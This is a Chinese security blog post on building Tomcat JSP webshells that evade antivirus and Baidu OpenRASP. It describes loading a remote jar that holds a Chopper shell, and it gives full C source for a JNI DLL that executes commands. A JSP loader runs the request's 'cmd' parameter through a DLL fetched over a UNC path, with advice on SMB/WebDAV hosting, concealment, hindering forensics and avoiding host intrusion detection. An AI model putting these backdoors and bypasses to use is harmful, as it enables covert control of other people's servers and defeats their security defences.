rasp java tomcat_webshell中的分离免杀实践

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

描述

前段时间看了倾旋的分离免杀直播,感觉像打开了免杀新世界的大门,jsp 中使用webshell 同样也有类似的手法。下面就让我们一起来看一看webshell中的分离免杀实践。

方法一: 远程加载jar 包

原理

写一个load 脚本,利用java反射,可以远程加载jar 的webshell (画重点)

webshell 实现

1.利用java 反射知识,首先写一个人畜无害的远程加载jsp 脚本,通过远程加载的方式,把远程的jar 文件进行加载 (有害代码里都放jar里)

q7KKc2zcuHC8KpPk7x5y2K.jpg

2.远程部署的 jar 里放会被查杀的shell 代码,比如菜刀的一句话客户端(.java)文件,然后把该java 文件编译成jar 包即可。

J1Ik2t6RBxwZAzO19zOrIB.jpg

VCxCzdexsqyvd1yk6DSq6t.jpg

A6rcrR0ct60cJDNO6qE4Y3.jpg

3: 加载远程jar进行菜刀连接d0d6447723dc68f7ccaec5f66ac90bb3.png

ZxF99PGpBhJ66ZETXj90TH.jpg

方法二: 利用jni远程调用载入dll ,达到类似分离免杀的效果。

在java中,Java无法直接访问到操作系统底层如硬件系统,为此Java提供了JNI(Java Native Interface )来实现对于底层的访问。JNI允许Java代码使用以其他语言编写的代码和代码库,本地程序中的函数也可以调用Java层的函数,即JNI实现了Java和本地代码间的双向交互。(画重点)

DEMO及原理

首先,我们来看个JNI的调用流程图

uC0n47z2Kyn0RynZ8iE8C7.jpg

实现步骤:

java中可以使用native关键字来说明这个方法是原生函数,也就是这个方法是用C/C++语言实现的,并且被编译成了DLL,由java去调用。

可以将native方法比作Java程序同C程序的接口,其实现步骤:在Java中声明native方法,然后编译;

用javah命令产生一个.h文件;

写一个.cpp文件实现native导出方法,其中需要包含第二步产生的.h文件(注意其中又包含了JDK带的jni.h文件);

将第三步的.cpp文件编译成动态链接库文件;

在Java中用System.loadLibrary或者System.load方法加载第四步产生的动态链接库文件,这个native方法就可以在Java中被访问了。

1: 首先编写一个.java 文件

wiV2Kr8hBIgbB8GO2zGHO8.jpg

2: 然后把该java 文件编译成c文件

aRTHPRmRtyMKu7yyRzrP7P.jpg

WiIeoQVDvzh8ovqiQOxW18.jpg

其中需要注意生成的c文件里的头jni.h 是java安装home目录里的include 目录里,等会编译成dll 或者编译成so 文件的时候需要指定进行加载。

g1QuIDhqat3dBxtd1DXSQi.jpg

3: 根据头文件,写C代码实现本地方法。

根据头文件,写C文件实现本地方法

#include "HelloNative.h"

#include

JNIEXPORT void JNICALL Java_HelloNative_sayHello(JNIEnv *env, jclass jc)

{

printf("Hello,here from c,JNI");

}

4: 编译成dll 文件(win下编译的dll 或者linux 下编译so 文件一定要和目标服务器环境一致*3,重要的事情说三遍)

gcc -m64 -Wl,--add-stdcall-alias -I "C:Program FilesJavajdk1.8.0_161include" -I "C:Program FilesJavajdk1.8.0_161includewin32" -shared -o HelloNative.dll HelloNative.c

我们可以看到,编译成功,然后执行,java 加载dll 链接库执行成功。这时,原理我们已经知道了,已经成功了一半了。

ttufNDnsua2D8BlDqyQsVs.jpg

webshell 实现

假设我们的目标是tomcat 容器

1: 新建package为org.apache.jsp, 类名为loadshell的.java文件。

package org.apache.jsp;

public class LoadShell

{

static class JniClass

{

public static native String exec( String string );

}

}

2: 进行编译成h 文件

cd到编译生成的target/class目录,使用 javah org.apache.jsp.LoadShell$JniClass 命令生成 org_apache_jsp_LoadShell.h 文件

C00CslVDbL6vCdvDEVFfT3.jpg

3: 调用上一步生成头文件,编写有回显的c语言代码

cA4l4ac2DDP4xTJXJ4WdXd.jpg

编写具有执行命令功能回显的c 代码

#include "jni.h"

#include "org_apache_jsp_LoadShell_JniClass.h"

#include

#include

#include

#include

#include

int execmd(const char *cmd, char *result)

{

char buffer[1024*12]; //定义缓冲区

FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令

if (!pipe)

return 0; //返回0表示运行失败

while (!feof(pipe))

{

if (fgets(buffer, 128, pipe))

{ //将管道输出到result中

strcat(result, buffer);

}

}

_pclose(pipe); //关闭管道

return 1; //返回1表示运行成功

}

//重点

JNIEXPORT jstring JNICALL Java_org_apache_jsp_LoadShell_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)

{

const char *cstr = (*env)->GetStringUTFChars(env, jstr, );

char result[1024 * 12] = ""; //定义存放结果的字符串数组

if (1 == execmd(cstr, result))

{

// printf(result);

}

char return_messge[100] = "";

strcat(return_messge, result);

jstring cmdresult = (*env)->NewStringUTF(env, return_messge);

//system;

return cmdresult;

}

}

4: 编译生成dll (再次提醒,一定要和目标服务器环境一致*3)

TC1JXLUFUJ0FP21xqQJoJw.jpg

5: 编写成可被中间件容器解析的jsp load文件。

jsp load时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

class JniClass {

public native String exec(String string);

public JniClass {

//System.load("/Users/nano/IdeaProjects/untitled1/target/classes/libJniClass.jnilib");

//System.load("C:Program FilesApache Software FoundationTomcat 8.5webappsshellbypass1.dll");

System.load("vmware-hostShared Folderstest1.dll");

}

}

;

%>

String cmd = request.getParameter("cmd");

JniClass jniClass = new JniClass;

String res = jniClass.exec(cmd);

%>

注JNI shell:

1:jsp load时有两种思路,一种是将该jsp文件和该dll放置于目标服务器的本地路径。jsp的代码里指定dll的绝对路径相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

2:对于linux|mac环境,上一步生成的java内部类叫做JniClass,在类unix平台下,加载的库名需要为lib开头+JniClass+jnilib或者dylib。

3: 核心的system.load|loadLibrary法是以File的形式载入dll、so文件,该dll、so 路径的以远程的方式加载的绝对路径,所以需要目标机器上测试判断环境是支持//,还是支持?简单判断方法是new file(path),然后判断file.exist。如果是前者的linux环境,需要想办法使用//的unc路径,推荐使用samba搭建匿名访问服务放置.jnilib载荷。如果是后者,即目标服务器为windows下的java应用,远程路径需要以开头,dll需要放在windows下,在windows平台下445不通的情况下,会访问WebDAV(开启webclient)的80端口下载下来dll执行。

4: jni载荷的c、c++实现的代码要具备健壮性,避免目标环境的jvm奔溃。

5: 使用system函数执行命令要小心被hids发现。

6: 在tomcat 上测试成功

ckxx5fe9SxBLSkhxkg2cD2.jpg

bypass 百度安全的rasp 安全防护测试

百度rasp 防护介绍

Gartner 在2014年提出了 运行时应用自我保护 技术的概念,即 对应用服务的保护,不应该依赖于外部系统;应用应该具备自我保护的能力。OpenRASP 是该技术的开源实现,它改变了防火墙依赖请求特征来拦截攻击的模式。对于注入类的漏洞,我们可以识别用户输入的部分,并检查程序逻辑是否被修改。由于不依赖请求特征,每条报警都是成功的攻击。

目前,OpenRASP 已经集成在多个商业主机安全软件里,也有大量客户将它部署至生产环境。

给tomcat 开启rasp 应用防护

gyZRi4r4obboI44zYkyPYy.jpg

0:原始菜刀马测试

发现被rasp 拦截,无法执行命令,执行失败。

fcRhKhzKdFjD0zY00y67y7.jpg

apP6p8EN6epJW4RtZwLU45.jpg

1: 远程加载jar 方式绕过测试

远程jar 的方式加载菜刀shell ,成功bypass ,无拦截。447e08b06d07b511fa744bf3877efdee.png

N3rW000wxkxeIZaiRaIis8.jpg

2:JNI 的dll 远程加载绕过测试

JNI 远程加载dll ,成功bypass 。

UjJZJkkK3Jc0jnbJwpZu03.jpg

oBlR4t2nNBnb4AdRJjA44i.jpg

专注渗透测试技术

全球最新网络攻击技术

END

---

------

---------

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值